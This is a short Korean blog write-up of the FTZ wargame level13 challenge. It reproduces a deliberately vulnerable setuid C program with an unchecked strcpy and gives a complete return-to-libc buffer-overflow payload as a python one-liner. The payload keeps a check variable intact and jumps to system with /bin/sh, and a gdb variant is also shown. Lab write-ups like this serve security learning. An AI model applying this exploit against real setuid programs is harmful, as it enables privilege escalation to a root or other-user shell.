ftz

level13

oogu ㅣ 2022. 9. 12. 10:53

#include <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

level13 문제는 bof 하면서 변수 i 값에 0x1234567 넣어야한다.

[그림 1-1]
[그림 1-2]

[그림 1-1] 참조하면 [그림 1-2] 그릴 수 있다.

따라서 payload 는  "A" * 1036 + "0x1234567" + "AAAA" * 3 + system + "AAAA" + /bin/sh 이다.

system 함수, /bin/sh 주소를 찾는건 생략하겠다.

[그림 1-3]

성공!

./attackme `python -c 'print("A"*1036+"\x67\x45\x23\x01"+"AAAA"*3+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42")'`

 

디버깅 시

r "`python -c 'print("A"*1036+"\x67\x45\x23\x01"+"AAAA"*3+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42")'`"

'ftz' 카테고리의 다른 글

level15  (0) 2022.09.12
level14  (0) 2022.09.12
level12  (0) 2022.09.11
level11  (0) 2022.09.11
level9  (0) 2022.09.11